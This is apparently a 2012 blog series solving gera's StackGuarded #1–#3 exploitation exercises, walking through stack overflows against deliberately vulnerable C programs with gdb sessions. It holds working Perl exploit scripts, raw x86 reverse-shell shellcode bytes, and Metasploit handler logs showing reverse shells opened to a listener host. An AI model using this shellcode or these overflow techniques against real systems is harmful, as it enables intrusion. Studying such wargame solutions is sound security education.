Thursday, July 12, 2012

StackGuarded #3

Here is my solution to gera's StackGuarded #3. Same caveats as before.

/* sg3.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

char *read_it(char *msg) {
    char buf[128];
    int count;

    buf[read(0,buf,sizeof buf)]=0;
    return strdup(buf);
}

int main(int argv, char **argc) {
    char *msg = malloc(1000);

    snprintf(msg,1000,"User: %s",read_it(msg));
}


* I had to compile this with -mpreferred-stack-boundary=2 so that gcc wouldn't pad buf.

The read allows for a 1 byte overflow of buf into the saved framed pointer, which will be main's ebp when read_it returns. The least significant byte will be overwritten with a "\x00".

[dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x8048554 <main+24&gt:    pushl  0xfffffffc(%ebp)
0x8048557 <main+27>:    call   0x8048500 <read_it>
0x804855c <main+32>:    add    $0x4,%esp
...;
End of assembler dump.
(gdb) b *0x8048554
Breakpoint 1 at 0x8048554: file sg3.c, line 15.
(gdb) b *0x804855c
Breakpoint 2 at 0x804855c: file sg3.c, line 15.
(gdb) run < 128
Starting program: /home/dennis/sg3/sg3 < 128

Breakpoint 1, main (argv=1, argc=0xbffffaf4) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa88:     0xbffffac8
(gdb) c
Continuing.

Breakpoint 2, 0x0804855c in main (argv=1094795585, argc=0x41414141) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa00:     0x41414141


Since variables are referenced relative to ebp, this overwrite let's me control some things. As can be seen above, main's ebp now points somewhere in my string of As.

I need to make sure that msg still points to something writable so that the snprintf will succeed. I'm using DTORs just because I had it handy during a trial-and-debug session (plus it can be nm'd from the binary), but it can be anywhere writable.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
...
End of assembler dump.
(gdb) b *0x804856f
Breakpoint 1 at 0x804856f: file sg3.c, line 15.
(gdb) b *0x8048574
Breakpoint 2 at 0x8048574: file sg3.c, line 15.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x0804856f in main (argv=1128481603, argc=0x43434343) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $esp
0xbffffa74:     0x08049614  <-- "msg", which i control somewhat
(gdb)
0xbffffa78:     0x000003e8  <-- 1000
(gdb)
0xbffffa7c:     0x080485e8  <-- "User: %s" format string
(gdb)
0xbffffa80:     0x08049b20  < -- return value from read_it()
(gdb) x/x 0x08049614
0x8049614 <__DTOR_END__>:       0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x08048574 in main (argv=1073832704, argc=0x40016998) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/s 0x08049614
0x8049614 <__DTOR_END__>:        "User: DDDD\024\226\004\bAAAANüÿ¿", 'C'


The first part shows the parameters on the stack before snprintf is called. msg is somewhat controlled by me due to the ebp overwrite. By "somewhat" I mean I can add/remove environment variables for example to adjust the stack so that the overwritten ebp will point somewhere I control.

Notice how the snprintf succeeds by writing "User: DDDD" to DTORs.

Here is what main's leave and ret look like with the overwritten ebp.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
0x8048577
:    leave
0x8048578
:    ret
End of assembler dump.
(gdb) b *0x8048578
Breakpoint 1 at 0x8048578: file sg3.c, line 16.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x08048578 in main (argv=Cannot access memory at address 0x41414149
) at sg3.c:16
16      }
(gdb) x/x $ebp
0x41414141:     Cannot access memory at address 0x41414141
(gdb) x/x $esp
0xbffffa04:     0xbffffc4e


Some As from our exploit string are popped into ebp and esp is adjusted to point to our shellcode address (pointing to the process's environment). On ret, this address will be popped into eip and execution will start.

Here it is put together

[dennis@localhost sg3]$ export SG3=`perl sc.pl`
[dennis@localhost sg3]$ ./ev3
SG3 is at 0xbffffc4e
[dennis@localhost sg3]$ perl exp.pl > of

dennis@ipa:~/sg3$ cat exp.pl                                                  
#!/usr/bin/perl

use warnings;
use strict;

my $write_value = "D" x 4;

# need a valid address to write to, i'm using dtors because i had it handy from an earlier trial-and-debug session. bonus you can nm it from the binary
my $write_addr = "\x14\x96\x04\x08";

# main's leave instruction will put this value in ebp
my $leave_ebp = "A" x 4;

# main's ret instruction will put this value in eip
my $ret_addr = "\x4e\xfc\xff\xbf";

my $filler = "C" x 112;

print $write_value.$write_addr.$leave_ebp.$ret_addr.$filler;


...

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:52266) at 2012-07-12 17:54:54 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg3

StackGuarded #2

Here's my solution to gera's StackGuarded #2, same caveats as StackGuarded #1 apply.

/* sg2.c                                                   *
 *  * specially crafted to feed your brain by gera@corest.com */

void func(char *msg) {
   char buf[80];
   strcpy(buf,msg);
}

int main(int argv, char** argc) {
   func(argc[1]);
}

The stack for this one looks something like

char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
func's saved frame pointer address
char buf[80]

The key here is noticing that the canary does not protect the saved frame pointer (ebp) on the stack and it can be overwritten.

From my notes on Advanced Windows Buffer Overflows: awbo5, func's function epilog will do something like:

; copies ebp--which we control a bit--into esp
mov esp,ebp
; cause esp to increase by 4
pop ebp
; pops the address of where esp points to into eip and starts executing there
retn


I will use the strcpy to overflow buf and overwrite func's saved frame pointer to point 4 bytes before the shellcode (which is loaded in the process's environment.) Once ebp is popped from the stack, the stack pointer will point at the start of my shellcode. ret will pop the next address off the stack and start executing instructions from there.

#!/usr/bin/perl

my $nops = "\x90" x 21;

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# the ret will load 0xbffffc53 into eip which points 4 bytes ahead into the nop slide

print "\x53\xfc\xff\xbf" . $nops . $shellcode;







[dennis@localhost sg2]$ export SG2=`perl sc.pl`
[dennis@localhost sg2]$ ./ev2
SG2 is at 0xbffffc4e


As can be seen from the comment, I prepended an address that points a few bytes into the nop slide.

Here is a gdb run down.

[dennis@localhost sg2]$ gdb sg2
...
(gdb) disas func
...
0x8048478 <func+24>:    leave 
0x8048479 <func+25>:    ret   
End of assembler dump.
(gdb) break *0x8048479
Breakpoint 1 at 0x8048479: file sg2.c, line 7.
(gdb) run `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`
Starting program: /home/dennis/sg2/sg2 `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`

Breakpoint 1, 0x08048479 in func (
    msg=0x90909090 <Address 0x90909090 out of bounds>) at sg2.c:7
7       }
(gdb) info frame
Stack level 0, frame at 0xbffffc4b:
 eip = 0x8048479 in func (sg2.c:7); saved eip 0xbffffc53
 called by frame at 0x3d324753
 source language c.
 Arglist at 0xbffffc4b, args: msg=0x90909090 <Address 0x90909090 out of bounds>
 Locals at 0xbffffc4b, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffc4b, eip at 0xbffffc4f
(gdb) x/x 0xbffffc4b + 4
0xbffffc4f:     0xbffffc53
(gdb) x/i 0xbffffc53
0xbffffc53:     nop   
(gdb)
0xbffffc54:     nop   

A breakpoint is set on func's ret. At the breakpoint, the saved ebp points to 0xbffffc4b. Adding 4 to it points to the saved eip. The saved eip points to the start of the shellcode and it's value is the jump-a-head address from above (0xbffffc53).

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.38:52056) at 2012-07-12 11:17:05 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg2

Wednesday, July 11, 2012

StackGuarded #1

Here's my solution to gera's StackGuarded #1.

Since I was unable to track down an old Immunix ISO or an old enough gcc source tarball to patch manually, I'm trying to solve these challenges in the intended spirit of the exercises. The binaries are not compiled with StackGuard.


/* sg1.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int func(char *msg) {
    char buf[80];

    strcpy(buf,msg);
    // toupper(buf);        // here just to give func() "some" sence
    strcpy(msg,buf);
    exit(1);
}

int main(int argv, char** argc) {
        func(argc[1]);
}

The stack will look something like


char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
saved frame pointer
char buf[80]


On return from func, if the canary has been overwritten, the executable exits and logs a buffer overflow condition.

The key point is that the canary is checked on return from the function, this means we can still overwrite things before the return.

I'm using the first strcpy to overflow buf into msg, the parameter passed by main to func.


[dennis@localhost sg1]$ gdb sg1
...
(gdb) break 8
Breakpoint 1 at 0x80484a8: file sg1.c, line 8.
(gdb) run `perl -e 'print "A" x 96 . "B" x 4'`
Starting program: /home/dennis/sg1/sg1 `perl -e 'print "A" x 96 . "B" x 4'`

Breakpoint 1, func (msg=0x42424242 <Address 0x42424242 out of bounds>)
    at sg1.c:9
9           strcpy(msg,buf);
(gdb) x/x &msg
0xbffffa20:     0x42424242

With the msg pointer in my control, I'm going to use the second strcpy to write a value anywhere.

 The value I'm writing is the address of my shellcode, loaded in the processes environment, and the anywhere I'm going to write to is exit's GOT entry (since exit is called next, before func returns.)


[dennis@localhost sg1]$ objdump -R sg1 | grep exit
08049588 R_386_JUMP_SLOT   exit

dennis@ipa:~/sg1$ cat sc.pl
#!/usr/bin/perl

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

print $shellcode;

[dennis@localhost sg1]$ export SG1=`perl sc.pl`

dennis@ipa:~/sg1$ cat ev1.c                                                   
#include <stdlib.h>
/* this progname name must be same length as sg1 */

int
main()
{
        char *envaddr;

        envaddr = getenv("SG1");
        printf("SG1 is at %p\n", envaddr);
}




[dennis@localhost sg1]$ ./ev1
SG1 is at 0xbffffc67

Put together it looks like


[dennis@localhost sg1]$ ./sg1 `perl -e 'print "\x67\xfc\xbff\xbf" . "A" x 92 . " \x88\x95\x04\x08"'`

...

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:51515) at 2012-07-11 18:22:38 -0500


/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍ: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg1